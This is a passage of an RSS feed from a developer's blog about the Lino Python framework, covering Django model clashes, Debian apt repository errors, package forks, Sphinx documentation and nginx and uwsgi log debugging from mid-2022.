&lt;span class="n"&gt;notify&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;E304&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Reverse&lt;/span&gt; &lt;span class="n"&gt;accessor&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ContentType.message_set&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;notify.Message.owner_type&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;clashes&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;accessor&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;checkdata.Message.owner_type&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
      &lt;span class="n"&gt;HINT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Add&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;change&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;related_name&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;definition&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;notify.Message.owner_type&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;checkdata.Message.owner_type&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had to modify &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.gfks.Controllable&lt;/span&gt;&lt;/code&gt; so that it includes the
&lt;cite&gt;appname&lt;/cite&gt; into the &lt;cite&gt;related_name&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0906.html</guid><pubDate>Tue, 06 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Write a Lino for real estate agents (brokers)</title><link>https://luc.lino-framework.org/blog/2022/0902.html</link><description>&lt;section id="write-a-lino-for-real-estate-agents-brokers"&gt;
&lt;h1&gt;Write a Lino for real estate agents (brokers)&lt;a class="headerlink" href="#write-a-lino-for-real-estate-agents-brokers" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, September 2, 2022&lt;/p&gt;
&lt;p&gt;I had a meeting with a friend who works as a professional broker. In Estonia
there are ca 3 major platforms for real estate offers, but none of them is free.
A Lino application would make sense, but only at international level and only
long-term. No immediate investors at the horizon.&lt;/p&gt;
&lt;p&gt;I created &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4637"&gt;#4637&lt;/a&gt; and started to think about it.&lt;/p&gt;
&lt;p&gt;Trading real estate objects is not the same as managing them. So this Lino would
be for brokers (&lt;a class="reference external" href="https://et.wikipedia.org/wiki/Kinnisvaramaakler"&gt;kinnisvaramaakler&lt;/a&gt;), not for homeowner
associations (&lt;a class="reference external" href="https://et.wikipedia.org/wiki/Korteri%C3%BChistu"&gt;korteriühistu&lt;/a&gt;). OTOH there will be
common vocabulary with a application for homeowner associations, and there might
be another Lino for homeowner associations as well. So the name “Lino Immo”
would be biased.&lt;/p&gt;
&lt;p&gt;It would define a series of new product types, each of them would inherit from
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/products.html#lino_xl.lib.products.Product" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products.Product&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and from
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/countries.html#lino_xl.lib.countries.AddressLocation" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.countries.AddressLocation&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Journals would be rental offers,
sales offers, rental contracts, sales contracts, and maybe more.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0902.html</guid><pubDate>Fri, 02 Sep 2022 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 31, 2022</title><link>https://luc.lino-framework.org/blog/2022/0831.html</link><description>&lt;section id="wednesday-august-31-2022"&gt;
&lt;h1&gt;Wednesday, August 31, 2022&lt;a class="headerlink" href="#wednesday-august-31-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get update
Get:1 http://deb.debian.org/debian buster InRelease [122 kB]
Get:2 http://security.debian.org buster/updates InRelease [34,8 kB]
Get:3 http://deb.debian.org/debian buster-updates InRelease [56,6 kB]
Hit:4 http://deb.debian.org/debian buster-backports InRelease
Get:5 http://mirror.hetzner.de/debian/packages buster InRelease [122 kB]
Hit:6 http://ftp.de.debian.org/debian buster-backports InRelease
Get:7 http://mirror.hetzner.de/debian/packages buster-updates InRelease [56,6 kB]
Hit:8 http://mirror.hetzner.de/debian/packages buster-backports InRelease
Get:9 http://mirror.hetzner.de/debian/security buster/updates InRelease [34,8 kB]
Reading package lists... Done
N: Repository &amp;#39;http://deb.debian.org/debian buster InRelease&amp;#39; changed its &amp;#39;Version&amp;#39; value from &amp;#39;10.6&amp;#39; to &amp;#39;10.12&amp;#39;
E: Repository &amp;#39;http://deb.debian.org/debian buster InRelease&amp;#39; changed its &amp;#39;Suite&amp;#39; value from &amp;#39;stable&amp;#39; to &amp;#39;oldstable&amp;#39;
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository &amp;#39;http://security.debian.org buster/updates InRelease&amp;#39; changed its &amp;#39;Suite&amp;#39; value from &amp;#39;stable&amp;#39; to &amp;#39;oldstable&amp;#39;
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository &amp;#39;http://deb.debian.org/debian buster-updates InRelease&amp;#39; changed its &amp;#39;Suite&amp;#39; value from &amp;#39;stable-updates&amp;#39; to &amp;#39;oldstable-updates&amp;#39;
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
N: Repository &amp;#39;http://mirror.hetzner.de/debian/packages buster InRelease&amp;#39; changed its &amp;#39;Version&amp;#39; value from &amp;#39;10.6&amp;#39; to &amp;#39;10.12&amp;#39;
E: Repository &amp;#39;http://mirror.hetzner.de/debian/packages buster InRelease&amp;#39; changed its &amp;#39;Suite&amp;#39; value from &amp;#39;stable&amp;#39; to &amp;#39;oldstable&amp;#39;
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository &amp;#39;http://mirror.hetzner.de/debian/packages buster-updates InRelease&amp;#39; changed its &amp;#39;Suite&amp;#39; value from &amp;#39;stable-updates&amp;#39; to &amp;#39;oldstable-updates&amp;#39;
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository &amp;#39;http://mirror.hetzner.de/debian/security buster/updates InRelease&amp;#39; changed its &amp;#39;Suite&amp;#39; value from &amp;#39;stable&amp;#39; to &amp;#39;oldstable&amp;#39;
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I added the following line to
different files below &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/apt/apt.conf.d&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Acquire&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AllowInsecureRepositories&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But without success.&lt;/p&gt;
&lt;p&gt;The solution was to simply say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--allow-releaseinfo-change&lt;/span&gt;&lt;/code&gt; at the
command-line. Thanks to  &lt;a class="reference external" href="https://joshtronic.com/2021/09/12/fixed-repository-debian-security-buster-updates-changed-suite-from-stable-to-oldstable/"&gt;Josh Sherman for sharing&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0831.html</guid><pubDate>Wed, 31 Aug 2022 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 24, 2022</title><link>https://luc.lino-framework.org/blog/2022/0824.html</link><description>&lt;section id="wednesday-august-24-2022"&gt;
&lt;h1&gt;Wednesday, August 24, 2022&lt;a class="headerlink" href="#wednesday-august-24-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I used &lt;a class="reference external" href="https://sharepic.fsfe.org/#pmpc"&gt;https://sharepic.fsfe.org/#pmpc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;“Get rid of vendor lock-in in public administrations”&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0824.html</guid><pubDate>Wed, 24 Aug 2022 00:00:00 +0000</pubDate></item><item><title>Monday, August 22, 2022</title><link>https://luc.lino-framework.org/blog/2022/0822.html</link><description>&lt;section id="monday-august-22-2022"&gt;
&lt;h1&gt;Monday, August 22, 2022&lt;a class="headerlink" href="#monday-august-22-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0822.html</guid><pubDate>Mon, 22 Aug 2022 00:00:00 +0000</pubDate></item><item><title>Friday, August 19, 2022</title><link>https://luc.lino-framework.org/blog/2022/0819.html</link><description>&lt;section id="friday-august-19-2022"&gt;
&lt;h1&gt;Friday, August 19, 2022&lt;a class="headerlink" href="#friday-august-19-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I sent an email to Martin Leblanc, the author and maintainer of  the &lt;a class="reference external" href="https://github.com/iconfinder/pyvat"&gt;PyVAT&lt;/a&gt; package, asking him about his
plans regarding pyvat.&lt;/p&gt;
&lt;p&gt;The pyvat project has been forked 27 times (&lt;a class="reference external" href="https://github.com/iconfinder/pyvat/network/members"&gt;source&lt;/a&gt;). Most of these forks
don’t add anything, except for the following ones:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/Alex-Espressone/pyvat"&gt;https://github.com/Alex-Espressone/pyvat&lt;/a&gt;
is 1 commit ahead, 73 commits behind iconfinder:master.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/jbma/pyvat"&gt;https://github.com/jbma/pyvat&lt;/a&gt;
is 6 commits ahead, 97 commits behind iconfinder:master.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/karpitsky/pyvat"&gt;https://github.com/karpitsky/pyvat&lt;/a&gt;
is 4 commits ahead, 85 commits behind iconfinder:master.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/matbas-onwave/pyvat"&gt;https://github.com/matbas-onwave/pyvat&lt;/a&gt;
is 9 commits ahead, 3 commits behind iconfinder:master.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/onlinecity/pyvat"&gt;https://github.com/onlinecity/pyvat&lt;/a&gt;
is 1 commit ahead, 112 commits behind iconfinder:master.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/wp-media/pyvat"&gt;https://github.com/wp-media/pyvat&lt;/a&gt;
is 1 commit ahead, 3 commits behind iconfinder:master.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0819.html</guid><pubDate>Fri, 19 Aug 2022 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 10, 2022</title><link>https://luc.lino-framework.org/blog/2022/0810.html</link><description>&lt;section id="wednesday-august-10-2022"&gt;
&lt;h1&gt;Wednesday, August 10, 2022&lt;a class="headerlink" href="#wednesday-august-10-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="morning-session"&gt;
&lt;h2&gt;Morning session&lt;a class="headerlink" href="#morning-session" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command now accepts a new option &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#cmdoption-inv-prep-after" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--after&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En passant I worked in the documentation for &lt;a class="reference external" href="https://atelier.lino-framework.org/api/index.html#module-atelier" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. For example, I can
now write sentences like “The &lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#command-per_project" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;per_project&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command has an option
&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#cmdoption-list" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--list&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;” and it links to the right place.&lt;/p&gt;
&lt;p&gt;Don’t mix up the directives &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;..&lt;/span&gt; &lt;span class="pre"&gt;command::&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;..&lt;/span&gt; &lt;span class="pre"&gt;program::&lt;/span&gt;&lt;/code&gt;, and the
roles &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;:cmd:&lt;/span&gt;&lt;/code&gt; , &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;:command:&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;:option:&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.sphinx-doc.org/en/master/usage/restructuredtext/domains.html?highlight=command#directive-program"&gt;program&lt;/a&gt;,
&lt;a class="reference external" href="https://www.sphinx-doc.org/en/master/usage/restructuredtext/roles.html?highlight=command#role-command"&gt;command&lt;/a&gt; and &lt;a class="reference external" href="https://www.sphinx-doc.org/en/master/usage/restructuredtext/domains.html?highlight=command#directive-option"&gt;option&lt;/a&gt;
are defined by Sphinx.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/sphinxext/index.html#directive-command" title="(in atelier v1.1)"&gt;&lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://atelier.lino-framework.org/sphinxext/index.html#role-cmd" title="(in atelier v1.1)"&gt;&lt;code class="xref rst rst-role docutils literal notranslate"&gt;&lt;span class="pre"&gt;cmd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; are defined by &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxcontrib&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="about-display-mode-on-mobile-views"&gt;
&lt;h2&gt;About display_mode on mobile views&lt;a class="headerlink" href="#about-display-mode-on-mobile-views" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We currently have display_mode_slave and display_mode_main. I think about
replacing them by a single attribute display_mode, which would be a tuple, with
the following &lt;em&gt;default value&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;display_mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;constants&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DISPLAY_MODE_TABLE&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;constants&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DISPLAY_MODE_LIST&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Where “70” would be the available width on screen, in “logical characters”.&lt;/p&gt;
&lt;p&gt;The display mode would no longer depend on whether it is a
slave or a main widget, but on the available width.&lt;/p&gt;
&lt;p&gt;The whole &lt;cite&gt;display_mode&lt;/cite&gt; tuple must be given to the client (in the &lt;cite&gt;.js&lt;/cite&gt; file),
and the client must  loop over this tuple and pick the first item that fits into
the available width.&lt;/p&gt;
&lt;p&gt;The question is can we know the available width when we need it? In ExtJS we
could say that it is always 80, meaning that the dynamic display mode doesn’t
work in ExtJS.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0810.html</guid><pubDate>Wed, 10 Aug 2022 00:00:00 +0000</pubDate></item><item><title>Thursday, August 4, 2022</title><link>https://luc.lino-framework.org/blog/2022/0804.html</link><description>&lt;section id="thursday-august-4-2022"&gt;
&lt;h1&gt;Thursday, August 4, 2022&lt;a class="headerlink" href="#thursday-august-4-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;aioredis.errors.ReplyError: ERR unknown command ‘BZPOPMIN’&lt;/p&gt;
&lt;p&gt;I had to downgrade channels-redis to 2.4.* because I am still running
redis-server 4.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0804.html</guid><pubDate>Thu, 04 Aug 2022 00:00:00 +0000</pubDate></item><item><title>Review operation when use_multiprocessing</title><link>https://luc.lino-framework.org/blog/2022/0801.html</link><description>&lt;section id="review-operation-when-use-multiprocessing"&gt;
&lt;h1&gt;Review operation when use_multiprocessing&lt;a class="headerlink" href="#review-operation-when-use-multiprocessing" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, August 1, 2022&lt;/p&gt;
&lt;p&gt;The :ticket:`` issue reveals that we need to change a few fundamental things
regarding how Lino runs  in a multiprocess environment (on a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-production-server" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;production
server&lt;/span&gt;&lt;/a&gt;).  The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command will become useless. When
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_multiprocessing&lt;/span&gt;&lt;/code&gt; is True, every Lino process should spawn a server
process and then connect itself to it.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0801.html</guid><pubDate>Mon, 01 Aug 2022 00:00:00 +0000</pubDate></item><item><title>Saturday, July 30, 2022</title><link>https://luc.lino-framework.org/blog/2022/0730.html</link><description>&lt;section id="saturday-july-30-2022"&gt;
&lt;h1&gt;Saturday, July 30, 2022&lt;a class="headerlink" href="#saturday-july-30-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data&lt;/p&gt;
&lt;p&gt;This message in the JS console usually means that the client made an AJAX
request expecting an answer in JSON, but received a response in HTML. This
currently happens also when there was an internal server error (a traceback)
while building the response.&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/nginx/access.log&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mf"&gt;90.191.153.133&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Jul&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0200&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;GET /api/tickets/Tickets/4586?dm=grid&amp;amp;fmt=json&amp;amp;limit=15&amp;amp;lv=1645431581.0682056&amp;amp;query=&amp;amp;rp=weak-key-54&amp;amp;start=0&amp;amp;wt=d HTTP/1.1&amp;quot;&lt;/span&gt;
&lt;span class="mi"&gt;502&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://jane.mylino.net/&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/nginx/error.log&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mi"&gt;3273&lt;/span&gt;&lt;span class="c1"&gt;#3273: *43784 upstream prematurely closed&lt;/span&gt;
&lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;reading&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;upstream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mf"&gt;90.191.153.133&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mylino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;GET /api/tickets/Tickets/4586?dm=grid&amp;amp;fmt=json&amp;amp;limit=15&amp;amp;lv=1645431581.0682056&amp;amp;query=&amp;amp;rp=weak-key-54&amp;amp;start=0&amp;amp;wt=d HTTP/1.1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;upstream&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;uwsgi://unix:/usr/local/lino/lino_local/jane/nginx.sock:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;jane.mylino.net&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;referrer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://jane.mylino.net/&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/supervisor/jane-uwsgi-stderr---supervisor-caHb85.log&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[pid: 2307|app: 0|req: 125/240] 90.191.153.133 () {50 vars in 1162 bytes} [Sat Jul 30 06:22:23 2022] GET /api/tickets/Tickets/4586?dm=grid&amp;amp;fmt=json&amp;amp;limit=15&amp;amp;lv=1645431581.0682056&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;pv&amp;amp;query=&amp;amp;rp=weak-key-1&amp;amp;start=0&amp;amp;wt=d =&amp;gt; generated 7813 bytes in 159 msecs (HTTP/1.1 200) 6 headers in 439 bytes (1 switches on core 0)
[pid: 2307|app: 0|req: 126/241] 90.191.153.133 () {50 vars in 935 bytes} [Sat Jul 30 06:22:24 2022] GET /values/tickets/Tickets/4586/working.SessionsByTicket =&amp;gt; generated 49 bytes in 20 msecs (HTTP/1.1 200) 4 headers in 124 bytes (1 switches on core 0)
[pid: 4875|app: 0|req: 121/242] 90.191.153.133 () {50 vars in 931 bytes} [Sat Jul 30 06:22:24 2022] GET /values/tickets/Tickets/4586/comments.CommentsByRFC =&amp;gt; generated 8044 bytes in 126 msecs (HTTP/1.1 200) 4 headers in 126 bytes (1 switches on core 0)
[pid: 4875|app: 0|req: 122/243] 90.191.153.133 () {50 vars in 918 bytes} [Sat Jul 30 06:22:27 2022] GET /api/main_html?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 3872 bytes in 176 msecs (HTTP/1.1 200) 4 headers in 126 bytes (1 switches on core 0)
